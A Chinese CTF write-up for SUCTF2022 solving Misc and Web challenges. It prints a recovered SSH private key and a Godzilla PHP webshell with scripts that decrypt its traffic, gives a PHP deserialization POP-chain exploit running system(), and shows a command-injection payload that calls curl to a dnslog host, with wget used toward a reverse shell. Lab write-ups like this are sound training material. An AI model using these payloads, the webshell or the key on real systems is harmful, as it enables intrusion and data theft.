[SUCTF2022] WP

Misc

Hi hacker

下载到是一个流量包,分析tcp流,发现是一个后面执行命令的

在这里插入图片描述

这里有一个文件jenkins_secret.zip

在这里插入图片描述

看下一个包里面,他进行了这样的操作

在这里插入图片描述

这看起来像是把文件发送的一个作用

在这里插入图片描述

分析icmp协议,找到这个secret文件

在这里插入图片描述

压缩文件是损坏的

在这里插入图片描述

binwalk分离一些,修复一下压缩包,总共就弄到了这些东西,还差了一些xml文件

在这里插入图片描述

这些应该是什么某种加密 这个是java的一个类似于插件的一个东西

1
org.jenkinsci.main.modules.instance_identity

github:https://github.com/jenkinsci/instance-identity-plugin

在github搜了一下,找到了几个对应的文件

在这里插入图片描述

找到了一个jenkins的解密的一个项目 https://github.com/hoto/jenkins-credentials-decryptor

在这里插入图片描述

这几个文件在流量包里都能找到,但是xml文件一直提取不出来 他发送是只是一个数据包,但是这里他分了四块去传输,这样数据混乱了,我无法将他们重新拼接起来,不知道是从哪里断的 找了一下规律,第一个应该是由PK来开头的,猜测数据应该是由这里开始

在这里插入图片描述

每一个文件结尾都有个,猜测也是icmp传输的某个格式文本

在这里插入图片描述

而且只有最后第565个包里面是有压缩文件尾的,504b0506

在这里插入图片描述

所以我猜测是四个拼接起来合成完整的zip文件 我尝试和了一下,用winrar修复了一下

在这里插入图片描述 在这里插入图片描述

差一个global_config.xml,而且xml文件还是处于损坏状态,无法提取。。。 脱出四个分块,放一起对比一下,相同的尾

在这里插入图片描述 在这里插入图片描述

拼了很久很久发现,漏了几个包 主要看这里

在这里插入图片描述

过滤一下(icmp.ident == 135) && (ip.src == 172.17.0.2) 把8个包的data流拿出来,去掉头部和尾部再拼接

在这里插入图片描述

终于得到了完好的压缩包,xml文件算是拿到了

在这里插入图片描述

然后就是用刚才的工具

在这里插入图片描述

解密得到一个github是ssh私钥

在这里插入图片描述

还有一个hint

在这里插入图片描述

这里获取了ssh的私钥

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

流量包里面,第一个http流里面有这样的信息

所以接下来的目标就是利用这个私钥去拉取这个仓库 把私钥文件丢到~./ssh里面 然后用私钥去生成一个公钥

1
ssh-keygen -y -f id_rsa > id_rsa.pub

然后就可以clone了

1
git clone Esonhugh@github:Esonhugh/secret_source_code.git

在这里插入图片描述

里面的文件就是http的第一个包的服务,没有flag,那就看一下git log,果然发现了端倪

在这里插入图片描述

都看了一下,发现flag是在source1里面

在这里插入图片描述

DASCTF{Oh!_H4ck_f0r_c0d3s-and_4buse_1t}

月圆之夜

其实就是找一个映射的关系 比如机械师是mechanic,对应了他的字母,然后翻译出来对应回去就是了

在这里插入图片描述

mechanic

在这里插入图片描述

werewolf

在这里插入图片描述

magician

在这里插入图片描述

knight

在这里插入图片描述

soul hunter

在这里插入图片描述

n

在这里插入图片描述

witch

在这里插入图片描述

nun

在这里插入图片描述

apothecary

在这里插入图片描述

Ranger

在这里插入图片描述

对比一下flag

在这里插入图片描述

在这里插入图片描述

dasctf{welcometothefullmoonnight}

什么奇奇怪怪的东西

打开有一个mrf文件,MRF 文件是由 Bartels Media Mouse Recorder 创建的数据文件

还有一个flag.zip,里面有一个vhd文件,也被加密了

在这里插入图片描述

在这里下载一个MouseRecorder https://www.macrorecorder.com/download/ 这里记录了一些鼠标操作记录

在这里插入图片描述

打开画图,然后让他画出来 结果是397643258669

在这里插入图片描述

用这个密码去解开压缩包,拿到vhd文件,挂载上以后,里面有这么些文件

在这里插入图片描述

ppt里面有这么一段字符

1
9876543210/.-,+*)E'CB;:?>=<;4Xyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONML

xlsx里面的内容

1
KJIHGFED`B^]V[TYXWVUNrLQJONMLKDh+*)('&<A@?8=<;:92Vwvutsrqponmlkjihgfedcba`_^

txt里面的内容

1
'&B$:?8=<;:3W76/4-Qrqponmlkjihgfedcbawv{zyxwvutsl2poQmle+LKJIHGcE[`YX]V[ZSw:

看这个图片的16进制,在末尾接了一段数据,是png的反转89054e74

在这里插入图片描述

提取出来反转一下,解出来是半个二维码

在这里插入图片描述

原png的文件名解码是flag4

在这里插入图片描述

Au5t1n的秘密

中间有http流,貌似是扫描了一下目录

在这里插入图片描述

在1994组里面,貌似是扫到了后台

在这里插入图片描述

这里用admin:admin貌似登陆进去了

在这里插入图片描述

进后台后进行了一个上传操作,这里提示了密钥是key is key1**

在这里插入图片描述

传了文件名为key.php.mod 第二次上传

在这里插入图片描述

内容是一个木马,didi.php,是一个哥斯拉马子,但是好像还改过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$payloadName='payload';
$key='093c1c388069b7e1';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
		eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

继续往后翻,找到对这个后面的利用了

在这里插入图片描述

被加密了,解一下哥斯拉的加密才行

在这里插入图片描述

写一个脚本逆一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}


$payloadName='payload';
$key='093c1c388069b7e1';
$data='1d430243025e5d4c55444a5f56174351401b4a0a6e391c6763736a5f56174351401b4a0a6e395e4d5e554d0b580b11424c5d4b15135e4b114b3b3342174511425c7
。(省略)
70657304a4b4c555b7f1759061919023e69114f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a2031390d0a0d0a545617590c5776595d533b66376531445c4017';
echo encode(hex2bin($data),$key);

在这里插入图片描述 解密拿到源码,这就是哥斯拉注入的一些东西,不用管

1
2
3
4
5
$parameters=array(); $_SES=array(); function run($pms){ reDefSystemFunc(); $_SES=&getSession(); @session_start(); $sessioId=md5(session_id()); if (isset($_SESSION[$sessioId])){ $_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId))); } @session_write_close(); if (canCallGzipDecode()==1&&@isGzipStream($pms)){ $pms=gzdecode($pms); } formatParameter($pms); if 

。(省略)

strlen($string); $i++){ array_push($bytes,ord($string[$i])); } return $bytes; }

再看看他其他的操作,这个流里面就是一些加载配置的操作了 后面的包,流量就解不出了,不知道为啥 他们有一个特征就是都有一个这样的头

在这里插入图片描述

我怀疑是不是有一个什么格式,后来去了解了一下哥斯拉的木马,发现在Godzillas v3.03以后对发送以及返回流量增加了gzip压缩,我把脚本一改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}


$payloadName='payload';
$key='093c1c388069b7e1';
$data='';
echo bin2hex(encode(hex2bin($data),$key));

看一下文件头,哦豁,真是gzip压缩的格式

在这里插入图片描述

这样就可以拉去gzip -d解压了

在这里插入图片描述

解压出来,果然有数据!!

然后就可以去试了

在这里插入图片描述

在当前目录发现了flag.zip,时间还是2022的

在这里插入图片描述

然后就是一个个的去试,在2079号包里面,找到了相关信息

在这里插入图片描述

上面的解密得到,这是他文件上传的表单,我们就可以拿下这个flag.zip了

在这里插入图片描述

但是他有一个密码,密码为password is md5(Godzilla' key),那找key就是最后的一步了 key进行md5后的前16位为

1
093c1c388069b7e1

写一个脚本爆破一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import string
import hashlib


def md5(s):
    return hashlib.md5(s.encode(encoding='utf-8')).hexdigest()
s = string.printable
k = 'key1'
for a in s:
    for b in s:
        for c in s:
            key = k+a+b+c
            if(md5(key)[0:16]=="093c1c388069b7e1"):
                print(key)
                break

在这里插入图片描述

md5加密以后解开压缩包拿到flag

1
093c1c388069b7e18bb4e898fc5ee049

在这里插入图片描述

Web

ezpop

题目给了如下代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

入口的类肯定是fin,最后的目的肯定是在mix里面的get_flag方法里面去执行eval函数 get_flag的入口也在fin里面,是fin的__call函数,而能调用call的只有一个地方,就是crow的__invoke函数

在这里插入图片描述

那能调用invoke的地方这里就有很多了 fin里面的run方法

在这里插入图片描述

或者mix的run方法

在这里插入图片描述

这里不知道从哪里开始分析,那就先看入口fin的__destruct函数,这里进行了一个字符串拼接,那么就是会触发一个__toString方法了 toString方法只有what有,那么f1的值就应该是what了

在这里插入图片描述

这里进what的tostring以后会调用run方法,这里就有分支了,但是感觉两个都用得到,所以可能是利用了这个trick,[class,func]去跳转到crow的eval方法 一开始想着要把所有方法都连接上。所以这样想的

在这里插入图片描述

1
new fin(new what(new fin([new crow(new what(1),new mix(new crow(new fin(new mix(1)),1))),"eval"])))

但是发现tostring会比析构还先执行,导致打不通, 然后发现是不是我想复杂了,直接用这个小trick连上get_flag方法就能直接执行了。。。

在这里插入图片描述

这里还耍我一轮

在这里插入图片描述

写马写不了 在这里插入图片描述

直接看当前目录

在这里插入图片描述

这里又耍我一轮 在这里插入图片描述

拿到flag 在这里插入图片描述

最后的poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php

class crow
{
    public $v1;
    public $v2;
    public function __construct($a,$b){
        $this->v1 = $a;
        $this->v2 = $b;
    }
    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;
    public function __construct($a){
        $this->f1 = $a;
    }

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;
    public function __construct($a){
        $this->a = $a;
    }

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;
    public function __construct($a){
        $this->m1 = $a;
    }
    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' .$this->m1);
    }

}

#$ser = new fin(new what(new fin([new crow(new what(1),new mix(new crow(new fin(new mix(1)),1))),"eval"])));
$ser = new fin(new what(new fin([new mix('?><?php system("cat H0mvz*");?>'),'get_flag'])));
echo urlencode(serialize($ser));

calc

题目给了源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time


app=Flask(__name__)

def waf(s):
    blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag
    

@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
    
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"

if __name__ == "__main__":
    app.run(host='0.0.0.0',port=5000)  

这里就是传了一个num参数进去,这里如果参数通过了waf,那么就会计算结果,并且system函数执行log,猜测这里是通过注入一些危险的命令去执行 这里有一个waf,过滤了很多东西

1
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']

但是由于命令执行没有回显,所以用dnslog,这样操作可以绕过 空格用%09代替 直接注入代码会报错,因为num代码会走进eval造成报错,所以需要加一个#作为注释符来绕过

在这里插入图片描述

1
1%23%60curl%09zeej2v.dnslog.cn%60

在这里插入图片描述

可以成功执行命令

在这里插入图片描述

试着反弹shell,直接执行弹shell不行,很多被过滤了,所以我们利用wget去传命令上去执行

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Licensed under CC BY-NC-SA 4.0